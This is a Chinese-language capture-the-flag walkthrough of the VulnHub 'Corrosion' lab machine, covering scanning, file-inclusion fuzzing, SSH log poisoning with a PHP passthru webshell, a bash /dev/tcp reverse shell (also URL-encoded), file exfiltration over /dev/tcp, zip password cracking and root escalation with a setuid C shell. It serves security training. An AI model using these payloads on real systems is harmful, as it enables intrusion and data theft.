靶机渗透练习36-Corrosion
靶机描述
靶机地址:https://www.vulnhub.com/entry/corrosion-1,730/
Description
Difficulty: Easy
A easy box for beginners, but not too easy. Good Luck.
Hint: Enumerate Property.
一、搭建靶机环境
攻击机Kali
:
IP地址:192.168.184.128
靶机
:
IP地址:192.168.184.146
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)
arp-scan -I eth0 -l
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24
方法四、等你们补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口
2.1.3 尝试访问靶机网页
2.1.4 目录扫描
☁ kali dirb http://192.168.184.146/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Jan 6 16:14:35 2022
URL_BASE: http://192.168.184.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.184.146/ ----
+ http://192.168.184.146/index.html (CODE:200|SIZE:10918)
+ http://192.168.184.146/server-status (CODE:403|SIZE:280)
==> DIRECTORY: http://192.168.184.146/tasks/
---- Entering directory: http://192.168.184.146/tasks/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Jan 6 16:14:38 2022
DOWNLOADED: 4612 - FOUND: 2
查看相关URL
有一点提示,但是没有发现太有价值的信息
换大一点的字典,dirb 会停在那里不动
安装另一个目录扫描工具: apt-get install dirsearch
dirsearch -u http://192.168.184.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
查看 URL:http://192.168.184.146/blog-post/
继续扫描
dirsearch -u http://192.168.184.146/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
2.2枚举漏洞
2.2.1Fuzz 文件包含参数
wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hw 0 -u http://192.168.184.146/blog-post/archives/randylogs.php?FUZZ=../../../../../../../../etc/passwd
爆出来参数是file
访问http://192.168.184.146/blog-post/archives/randylogs.php?file=../../../../../../../../etc/passwd
有文件包含漏洞
2.3漏洞利用
2.3.1 包含 auth.log 文件包含漏洞利用
文件包含可以包含/etc/passwd 文件,如果想利用文件包含漏洞需要包含可以控制的代码,
比如将一句话后门写入到日志文件中,然后包含日志文件。
因为当前系统是 ubuntu,日志文件/var/log/auth.log 是可以包含的
尝试包含:
http://192.168.184.146/blog-post/archives/randylogs.php?file=../../../../../../../../var/log/auth.log
使用 ssh 登陆,尝试将一句话后门写入日志文件中
ssh '<?php passthru($_GET['cmd']);?>'@192.168.184.146
尝试执行参数
http://192.168.184.146/blog-post/archives/randylogs.php?file=../../../../../../../../var/log/auth.log&cmd=id
成功获取信息
然后在 kali 中监听 6666, nc -lvp 6666
执行 bash 命令反弹 shell:bash -c 'bash -i >& /dev/tcp/192.168.184.128/6666 0>&1'
需要编码:
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%38%34%2e%31%32%38%2f%36%36%36%36%20%30%3e%26%31%27
2.4权限提升
2.4.1 信息收集
在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null
www-data@corrosion:/var/www/html/blog-post/archives$ find / -perm -u=s -type f 2>/dev/null
<ost/archives$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/12704/usr/lib/snapd/snap-confine
/snap/snapd/14295/usr/lib/snapd/snap-confine
/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign
/snap/core18/2074/bin/mount
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/bin/umount
/snap/core18/2074/usr/bin/chfn
/snap/core18/2074/usr/bin/chsh
/snap/core18/2074/usr/bin/gpasswd
/snap/core18/2074/usr/bin/newgrp
/snap/core18/2074/usr/bin/passwd
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2074/usr/lib/openssh/ssh-keysign
/snap/core18/2253/bin/mount
/snap/core18/2253/bin/ping
/snap/core18/2253/bin/su
/snap/core18/2253/bin/umount
/snap/core18/2253/usr/bin/chfn
/snap/core18/2253/usr/bin/chsh
/snap/core18/2253/usr/bin/gpasswd
/snap/core18/2253/usr/bin/newgrp
/snap/core18/2253/usr/bin/passwd
/snap/core18/2253/usr/bin/sudo
/snap/core18/2253/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2253/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/sbin/pppd
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/xorg/Xorg.wrap
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
没有发现(在 https://gtfobins.github.io/对比)
下载 linpeas.sh
脚本
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
下载完之后,在 kali 搭建 web 服务
python -m SimpleHTTPServer 8888
在根目录下查看各文件夹权限
咱们进入tmp
目录下下载linpeas.sh
cd /tmp
wget http://192.168.184.128:8888/linpeas.sh
chmod 777 linpeas.sh
执行linpeas.sh
脚本
有非常多的信息,可以发现一个备份文件
2.4.2 破解压缩包密码 getshell
将文件下载下载到 kali
1 在 kali 开启监听
nc -lvp 1234 > user_backup.zip
在被攻击机发送文件
cat user_backup.zip > /dev/tcp/192.168.184.128/1234
在 kali 解压文件
发现有密码,需要破解
安装破解工具:apt install fcrackzip
使用 frackzip
破解
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt user_backup.zip
密码:!randybaby
解压 zip 文件
查看密码文件
密码:randylovesgoldfish1998
尝试登陆 SSH:ssh randy@192.168.184.146
2.4.3 sudo 提权
执行 sudo -l 可以发现程序 (root) PASSWD: /home/randy/tools/easysysinfo
切换到/home/randy/tools/
目录,查看文件
randy@corrosion:~/tools$ cat easysysinfo.py
#!/usr/bin/python3.9
import os
command1 = "/usr/bin/date"
command2 = "/usr/bin/cat /etc/hosts"
command3 = "/usr/bin/uname -a"
def output():
print("Today is: ")
os.system(command1)
print("\n")
print("Hosts File: ")
os.system(command2)
print("\n")
print("Kernal Version: ")
os.system(command3)
output()
可以看到两个文件 easysysinfo
是二进制文件,源码是 easysysinfo.py
如果能覆盖 easysysinfo
程序,然后使用sudo
运行 easysysinfo
程序提权
使用 vi test.c 创建文件
#include <unistd.h>
#include <stdlib.h>
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}
然后sudo
运行覆盖后的easysysinfo
,成功提权
总结
本靶机最值得学习的Fuzz文件包含,linpeas.sh
这个脚本很好用
-
目录扫描工具:dirsearch
-
FUZZ 工具:wfuzz
-
信息收集脚本:linpeas.sh
-
Zip密码破解:fcrackzip
-
c语言代码编译加sudo提权